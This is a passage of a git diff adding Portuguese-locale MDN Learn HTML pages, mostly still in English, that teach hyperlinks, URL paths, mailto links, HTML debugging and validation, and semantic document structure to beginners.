+<a href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.
+</p>
+ +

This gives us the following result:

+ +

I'm creating a link to the Mozilla homepage.

+ +

Adding supporting information with the title attribute

+ +

Another attribute you may want to add to your links is title; this is intended to contain supplementary useful information about the link, such as what kind of information the page contains, or things to be aware of. For example:

+ +
<p>I'm creating a link to
+<a href="https://www.mozilla.org/en-US/"
+   title="The best place to find more information about Mozilla's
+          mission and how to contribute">the Mozilla homepage</a>.
+</p>
+ +

This gives us the following result (the title will come up as a tooltip when the link is hovered over):

+ +

I'm creating a link to the Mozilla homepage.

+ +
+

Note: A link title is only revealed on mouse hover, which means that people relying on keyboard controls to navigate web pages will have difficulty accessing title information. If a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text.

+
+ + + +

Active learning time: we'd like you to create an HTML document using your local code editor (our getting started template would do just fine.)

+ + + + + +

As mentioned before, you can turn just about any content into a link, even block level elements. If you had an image you wanted to turn into a link, you could just put the image between <a></a> tags.

+ +
<a href="https://www.mozilla.org/en-US/">
+  <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage">
+</a>
+ +
+

Note: You'll find out a lot more about using images on the Web in a future article.

+
+ +

A quick primer on URLs and paths

+ +

To fully understand link targets, you need to understand URLs and file paths. This section gives you the information you need to achieve this.

+ +

A URL, or Uniform Resource Locator is simply a string of text that defines where something is located on the Web. For example Mozilla's English homepage is located at https://www.mozilla.org/en-US/.

+ +

URLs use paths to find files. Paths specify where in the filesystem the file you are interested in is located. Let's look at a simple example of a directory structure (see the creating-hyperlinks directory.)

+ +

A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively

+ +

The root of this directory structure is called creating-hyperlinks. When working locally with a web site, you will have one directory that the whole site goes inside. Inside the root, we have an index.html file and a contacts.html. In a real website, index.html would be our home page or landing page (a web page that serves as the entry point for a website or a particular section of a website.).

+ +

There are also two directories inside our root — pdfs and projects. These each have a single file inside them — a PDF (project-brief.pdf) and an index.html file, respectively. Note how you can quite happily have two index.html files in one project as long as they are in different locations in the filesystem. Many web sites do. The second index.html would perhaps be the main landing page for project-related information.

+ + + +
+

Note: You can combine multiple instances of these features into complex URLs, if needed, e.g. ../../../complex/path/to/my/file.html.

+
+ +

Document fragments

+ +

It is possible to link to a specific part of an HTML document (known as a document fragment), rather than just to the top of the document. To do this you first have to assign an {{htmlattrxref("id")}} attribute to the element you want to link to. It normally makes sense to link to a specific heading, so this would look something like the following:

+ +
<h2 id="Mailing_address">Mailing address</h2>
+ +

Then to link to that specific id, you'd include it at the end of the URL, preceded by a hash/pound symbol, for example:

+ +
<p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
+ +

You can even use the document fragment reference on its own to link to another part of the same document:

+ +
<p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
+ +

Absolute versus relative URLs

+ +

Two terms you'll come across on the Web are absolute URL and relative URL:

+ +

absolute URL: Points to a location defined by its absolute location on the web, including {{glossary("protocol")}} and {{glossary("domain name")}}. So for example, if an index.html page is uploaded to a directory called projects that sits inside the root of a web server, and the web site's domain is http://www.example.com, the page would be available at http://www.example.com/projects/index.html (or even just http://www.example.com/projects/, as most web servers just look for a landing page such as index.html to load if it is not specified in the URL.)

+ +

An absolute URL will always point to the same location, no matter where it is used.

+ +

relative URL: Points to a location that is relative to the file you are linking from, more like what we looked at in the previous section. For example, if we wanted to link from our example file at http://www.example.com/projects/index.html to a PDF file in the same directory, the URL would just be the filename — e.g. project-brief.pdf — no extra information needed. If the PDF was available in a subdirectory inside projects called pdfs, the relative link would be pdfs/project-brief.pdf (the equivalent absolute URL would be http://www.example.com/projects/pdfs/project-brief.pdf.)

+ +

A relative URL will point to different places depending on where the file it is used inside is located — for example if we moved our index.html file out of the projects directory and into the root of the web site (the top level, not in any directories), the pdfs/project-brief.pdf relative URL link inside it would now point to a file located at http://www.example.com/pdfs/project-brief.pdf, not a file located at http://www.example.com/projects/pdfs/project-brief.pdf.

+ +

Of course, the location of the project-brief.pdf file and pdfs folder won't suddenly change because you moved the index.html file — this would make your link point to the wrong place, so it wouldn't work if clicked on. You need to be careful!

+ + + +

There are some best practices to follow when writing links. Let's look at these now.

+ + + + + +

It's easy to throw links up on your page. That's not enough. We need to make our links accessible to all readers, regardless of their current context and which tools they prefer. For example:

+ + + +

Let's look at a specific example:

+ +

Good link text: Download Firefox

+ +
<p><a href="https://firefox.com/">
+  Download Firefox
+</a></p>
+ +

Bad link text: Click here to download Firefox

+ +
<p><a href="https://firefox.com/">
+  Click here
+</a>
+to download Firefox</p>
+
+ +

Other tips:

+ + + + + +

From the description above, you might think that it is a good idea to just use absolute links all the time; after all, they don't break when a page is moved like relative links. However, you should use relative links wherever possible when linking to other locations within the same website (when linking to another website, you will need to use an absolute link):

+ + + +

Linking to non-HTML resources — leave clear signposts

+ +

When linking to a resource that will be downloaded (like a PDF or Word document) or streamed (like video or audio) or has another potentially unexpected effect (opens a popup window, or loads a Flash movie), you should add clear wording to reduce any confusion. It can be quite annoying for example:

+ + + +

Let's look at some examples, to see what kind of text can be used here:

+ +
<p><a href="http://www.example.com/large-report.pdf">
+  Download the sales report (PDF, 10MB)
+</a></p>
+
+<p><a href="http://www.example.com/video-stream/" target="_blank">
+  Watch the video (stream opens in separate tab, HD quality)
+</a></p>
+
+<p><a href="http://www.example.com/car-game">
+  Play the car game (requires Flash)
+</a></p>
+ +

Use the download attribute when linking to a download

+ +

When you are linking to a resource that is to be downloaded rather than opened in the browser, you can use the download attribute to provide a default save filename. Here's an example with a download link to the latest Windows version of Firefox:

+ +
<a href="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"
+   download="firefox-latest-64bit-installer.exe">
+  Download Latest Firefox for Windows (64-bit) (English, US)
+</a>
+ +

Active learning: creating a navigation menu

+ +

For this exercise, we'd like you to link some pages together with a navigation menu to create a multi-page website. This is one common way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.

+ +

You'll need to make local copies of the following four pages, all in the same directory (see also the navigation-menu-start directory for a full file listing):

+ + + +

You should:

+ +
    +
  1. Add an unordered list in the indicated place on one page, containing the names of the pages to link to. A navigation menu is usually just a list of links, so this is semantically ok.
  2. +
  3. Turn each page name into a link to that page.
  4. +
  5. Copy the navigation menu across to each page.
  6. +
  7. On each page, remove just the link to that same page — it is confusing and pointless for a page to include a link to itself, and the lack of a link acts a good visual reminder of what page you are currently on.
  8. +
+ +

The finished example should end up looking something like this:

+ +

An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items

+ +
+

Note: If you get stuck, or are not sure if you have got it right, you can check the navigation-menu-marked-up directory to see the correct answer.

+
+ + + +

It is possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. This is done using the {{HTMLElement("a")}} element and the mailto: URL scheme.

+ +

In its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. For example:

+ +
<a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>
+
+ +

This results in a link that looks like this: Send email to nowhere.

+ +

In fact, the email address is even optional. If you leave it out (that is, your {{htmlattrxref("href", "a")}} is simply "mailto:"), a new outgoing email window will be opened by the user's mail client that has no destination address specified yet. This is often useful as "Share" links that users can click to send an email to an address of their choosing.

+ +

Specifying details

+ +

In addition to the email address, you can provide other information. In fact, any standard mail header fields can be added to the mailto URL you provide. The most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). Each field and its value is specified as a query term.

+ +

Here's an example that includes a cc, bcc, subject and body:

+ +
<a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=The%20subject%20of%20the%20email&body=The%20body%20of%20the%20email">
+  Send mail with cc, bcc, subject and body
+</a>
+ +
+

Note: The values of each field must be URL-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces percent-escaped. Also note the use of the question mark (?) to separate the main URL from the field values, and ampersands (&) to separate each field in the mailto: URL. This is standard URL query notation. Read The GET method to understand what URL query notation is more comonly used for.

+
+ +

Here are a few other sample mailto URLs:

+ + + +

Summary

+ +

That's it for links, for now anyway! You'll return to links later on in the course when you start to look at styling them. Next up for HTML, we'll return to text semantics and look at some more advanced/unusual features that you'll find useful — Advanced text formatting is your next stop.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html b/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html new file mode 100644 index 0000000000..9515ff4f37 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html @@ -0,0 +1,186 @@ +--- +title: Depurar HTML +slug: Learn/HTML/Introducao_ao_HTML/Depurar_HTML +tags: + - Depuração + - Erro + - Guía + - HTML + - Principiante + - Validação +translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
+ +

Writing HTML is fine, but what if something goes wrong, and you can't work out where the error in the code is? This article will introduce you to some tools that can help you find and fix errors in HTML.

+ + + + + + + + + + + + +
Prerequisites:HTML familiarity, as covered in for example Getting started with HTML, HTML text fundamentals, and Creating hyperlinks.
Objective:Learn the basics of using debugging tools to find problems in HTML.
+ +

Debugging isn't scary

+ +

When writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. For example, the following shows an error reported when trying to {{glossary("compile")}} a simple program written in the Rust language.

+ +

A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.Here, the error message is relatively easy to understand — "unterminated double quote string". If you look at the listing, you can probably see how println!(Hello, world!"); might logically be missing a double quote. However, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about Rust.

+ +

Debugging doesn't have to be scary though —  the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools.

+ +

HTML and debugging

+ +

HTML is not as complicated to understand as Rust. HTML is not compiled into a different form before the browser parses it and shows the result (it is interpreted, not compiled). And HTML's {{glossary("element")}} syntax is arguably a lot easier to understand than a "real programming language" like Rust, {{glossary("JavaScript")}}, or {{glossary("Python")}}. The way that browsers parse HTML is a lot more permissive than how programming languages are run, which is both a good and a bad thing.

+ +

Permissive code

+ +

So what do we mean by permissive? Well, generally when you do something wrong in code, there are two main types of error that you'll come across:

+ + + +

HTML itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. Browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. This, of course, can still be a problem!

+ +
+

Note: HTML is parsed permissively because when the web was first created, it was decided that allowing people to get their content published was more important than making sure the syntax was absolutely correct. The web would probably not be as popular as it is today, if it had been more strict from the very beginning.

+
+ +

Active learning: Studying permissive code

+ +

It's time to study the permissive nature of HTML code.

+ +
    +
  1. First, download our debug-example demo and save it locally. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be badly-formed, as opposed to well-formed).
  2. +
  3. Next, open it in a browser. You will see something like this:A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes.
  4. +
  5. This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown): +
    <h1>HTML debugging examples</h1>
    +
    +<p>What causes errors in HTML?
    +
    +<ul>
    +  <li>Unclosed elements: If an element is <strong>not closed properly,
    +      then its effect can spread to areas you didn't intend
    +
    +  <li>Badly nested elements: Nesting elements properly is also very important
    +      for code behaving correctly. <strong>strong <em>strong emphasised?</strong>
    +      what is this?</em>
    +
    +  <li>Unclosed attributes: Another common source of HTML problems. Let's
    +      look at an example: <a href="https://www.mozilla.org/>link to Mozilla
    +      homepage</a>
    +</ul>
    +
  6. +
  7. Let's review the problems: +
      +
    • The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.
    • +
    • The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.
    • +
    • This section is badly nested: <strong>strong <em>strong emphasised?</strong> what is this?</em>. It is not easy to tell how this has been interpreted because of the previous problem.
    • +
    • The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.
    • +
    +
  8. +
  9. Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review Discover browser developer tools.
  10. +
  11. In the DOM inspector, you can see what the rendered markup looks like: The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text "What causes errors in HTML?" Here you can see that the paragraph element has been closed by the browser.
  12. +
  13. Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers should give the same result): +
      +
    • The paragraphs and list items have been given closing tags.
    • +
    • It isn't clear where the first <strong> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!
    • +
    • The  incorrect nesting has been fixed by the browser like this: +
      <strong>strong
      +  <em>strong emphasised?</em>
      +</strong>
      +<em> what is this?</em>
      +
    • +
    • The link with the missing double quote has been deleted altogether. The last list item looks like this: +
      <li>
      +  <strong>Unclosed attributes: Another common source of HTML problems.
      +  Let's look at an example: </strong>
      +</li>
      +
    • +
    +
  14. +
+ +

HTML validation

+ +

So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?

+ +

The best strategy is to start by running your HTML page through the Markup Validation Service — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.

+ +

The HTML validator homepage

+ +

To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.

+ +

Active learning: Validating an HTML document

+ +

Let's try this with our sample document.

+ +
    +
  1. First, load up the Markup Validation Service in one browser tab, if it isn't already.
  2. +
  3. Switch to the Validate by Direct Input tab.
  4. +
  5. Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.
  6. +
  7. Press the Check button.
  8. +
+ +

This should give you a list of errors and other information.

+ +

A list of of HTML validation results from the W3C markup validation service

+ +

Interpreting the error messages

+ +

The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.

+ + + +

If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.

+ +

You will know when all your errors are fixed when you see the following banner in your output:

+ +

Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."

+ +

Summary

+ +

So there we have it, an introduction to debugging HTML, which should give you some useful skills to count on when you start to debug CSS, JavaScript, and other types of code later on in your career. This also marks the end of the Introduction to HTML module learning articles — now you can go on to testing yourself with our assessments: the first one is linked below.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..059f26a497 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,292 @@ +--- +title: "Estrutura do\_documento e do website" +slug: Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website +tags: + - Guía + - HTML + - Layout + - Principiante + - pagina + - semántica +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
+ +

In addition to defining individual parts of your page (such as "a paragraph" or "an image"), {{glossary("HTML")}} also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column"). This article looks into how to plan a basic website structure, and write the HTML to represent this structure.

+ + + + + + + + + + + + +
Prerequisites:Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals. How hyperlinks work, as covered in Creating hyperlinks.
Objective:Learn how to structure your document using semantic tags, and how to work out the structure of a simple website.
+ +

Basic sections of a document

+ +

Webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured:

+ +
+
header
+
Usually a big strip across the top with a big heading and/or logo. This is where the main common information about a website usually stays from one webpage to another.
+
navigation bar
+
Links to the site's main sections; usually represented by menu buttons, links, or tabs. Like the header, this content usually remains consistent from one webpage to another — having an inconsistent navigation on your website will just lead to confused, frustrated users. Many web designers consider the navigation bar to be part of the header rather than a individual component, but that's not a requirement; in fact some also argue that having the two separate is better for accessibility, as screen readers can read the two features better if they are separate.
+
main content
+
A big area in the center that contains most of the unique content of a given webpage, for example the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc. This is the one part of the website that definitely will vary from page to page!
+
sidebar
+
Some peripheral info, links, quotes, ads, etc. Usually this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.
+
footer
+
A strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. It's a place to put common information (like the header) but usually that information is not critical or secondary to the website itself. The footer is also sometimes used for {{Glossary("SEO")}} purposes, by providing links for quick access to popular content.
+
+ +

A "typical website" could be laid out something like this:

+ +

a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer.

+ +

HTML for structuring content

+ +

The simple example shown above isn't pretty, but it is perfectly ok for illustrating a typical website layout example. Some websites have more columns, some are way more complex, but you get the idea. With the right CSS, you could use pretty much any elements to wrap around the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics, and use the right element for the right job.

+ +

This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?

+ +
+

Note: Colorblind people represent around 4% of the world population or, to put it another way, approximately 1 in every 12 men and 1 in every 200 women are colorblind. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was around 7 billion).

+
+ +

In your HTML code, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.

+ +

To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:

+ + + +

Active learning: exploring the code for our example

+ +

Our example seen above is represented by the following code (you can also find the example in our GitHub repository). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+
+    <title>My page title</title>
+    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css">
+    <link rel="stylesheet" href="style.css">
+
+    <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
+    <!--[if lt IE 9]>
+      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
+    <![endif]-->
+  </head>
+
+  <body>
+    <!-- Here is our main header that is used across all the pages of our website -->
+
+    <header>
+      <h1>Header</h1>
+    </header>
+
+    <nav>
+      <ul>
+        <li><a href="#">Home</a></li>
+        <li><a href="#">Our team</a></li>
+        <li><a href="#">Projects</a></li>
+        <li><a href="#">Contact</a></li>
+      </ul>
+
+       <!-- A Search form is another commmon non-linear way to navigate through a website. -->
+
+       <form>
+         <input type="search" name="q" placeholder="Search query">
+         <input type="submit" value="Go!">
+       </form>
+     </nav>
+
+    <!-- Here is our page's main content -->
+    <main>
+
+      <!-- It contains an article -->
+      <article>
+        <h2>Article heading</h2>
+
+        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
+
+        <h3>Subsection</h3>
+
+        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
+
+        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
+
+        <h3>Another subsection</h3>
+
+        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
+
+        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
+      </article>
+
+      <!-- the aside content can also be nested within the main content -->
+      <aside>
+        <h2>Related</h2>
+
+        <ul>
+          <li><a href="#">Oh I do like to be beside the seaside</a></li>
+          <li><a href="#">Oh I do like to be beside the sea</a></li>
+          <li><a href="#">Although in the North of England</a></li>
+          <li><a href="#">It never stops raining</a></li>
+          <li><a href="#">Oh well...</a></li>
+        </ul>
+      </aside>
+
+    </main>
+
+    <!-- And here is our main footer that is used across all the pages of our website -->
+
+    <footer>
+      <p>©Copyright 2050 by nobody. All rights reversed.</p>
+    </footer>
+
+  </body>
+</html>
+ +

Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.

+ +

HTML layout elements in more detail

+ +

It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our HTML element reference. For now, these are the main definitions that you should try to understand:

+ + + +

Non-semantic wrappers

+ +

Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.

+ +

{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:

+ +
<p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
+him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the
+play, the lights should be down low]</span>.</p>
+ +

In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.

+ +

{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:

+ +
<div class="shopping-cart">
+  <h2>Shopping cart</h2>
+  <ul>
+    <li>
+      <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p>
+      <img src="../products/3333-0985/thumb.png" alt="Silver earrings">
+    </li>
+    <li>
+      ...
+    </li>
+  </ul>
+  <p>Total cost: $237.89</p>
+</div>
+ +

This isn't really an <aside>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere). It doesn't even particularly warrant using a  <section>, as it isn't part of the main content of the page. So a <div> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.

+ +
+

Warning: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.

+
+ +

Line breaks and horizontal rules

+ +

Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:

+ +

<br> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:

+ +
<p>There once was a man named O'Dell<br>
+Who loved to write HTML<br>
+But his structure was bad, his semantics were sad<br>
+and his markup didn't read very well.</p>
+ +

Without the <br> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, HTML ignores most whitespace); with them in the code, the markup renders like this:

+ +

There once was a man named O'Dell
+ Who loved to write HTML
+ But his structure was bad, his semantics were sad
+ and his markup didn't read very well.

+ +

<hr> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just looks like a horizontal line. As an example:

+ +
<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
+<hr>
+<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.</p>
+ +

Would render like this:

+ +

Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.

+ +
+

Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.

+ +

Planning a simple website

+ +

Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!

+ +
    +
  1. Bear in mind that you'll have a few elements common to most (if not all) pages — such as the navigation menu, and the footer content. If your site is for a business, for example, it's a good idea to have your contact information available in the footer on each page. Note down what you want to have common to every page.the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy
  2. +
  3. Next, draw a rough sketch of what you might want the structure of each page to look like (it might look like our simple website above). Note what each block is going to be.A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
  4. +
  5. Now, brainstorm all the other (not common to every page) content you want to have on your website — write a big list down.A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info
  6. +
  7. Next, try to sort all these content items into groups, to give you an idea of what parts might live together on different pages. This is very similar to a technique called {{glossary("Card sorting")}}.The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things
  8. +
  9. Now try to sketch a rough sitemap — have a bubble for each page on your site, and draw lines to show the typical workflow between pages. The homepage will probably be in the center, and link to most if not all of the others; most of the pages in a small site should be available from the main navigation, although there are exceptions. You might also want to include notes about how things might be presented.A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page
  10. +
+ +

Active learning: create your own sitemap

+ +

Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?

+ +
+

Note: Save your work somewhere; you might need it later on.

+
+ +

Summary

+ +

At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html b/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..981b23e556 --- /dev/null +++ b/files/pt-pt/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,612 @@ +--- +title: Começar com HTML +slug: Learn/HTML/Introducao_ao_HTML/Iniciacao_HTML +tags: + - Comentário + - Elemento + - Guía + - HTML + - Principiante + - atributo + - espaço em branco + - referência de entidade +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML", "Learn/HTML/Introducao_ao_HTML")}}
+ +

Neste artigo nós iremos abranger os básicos absolutos de HTML, para o iniciar — nós definimos os elementos, atributos, e todos os outros termos importantes que já poderá ter ouvido, e onde os incorporar na linguagem. Nós também mostramos como é que o elemento de HTML é estruturado, como é que uma página HTML é estruturada, e explicar outras funcionalidades de linguagem básica importantes. E nós iremos algumas demonstrações de algum HTML, para o motivar!

+ + + + + + + + + + + + +
Pré-requisitos:Basic computer literacy, basic software installed, and basic knowledge of working with files.
Objetivo:To gain basic familiarity with the HTML language, and get some practice writing a few HTML elements.
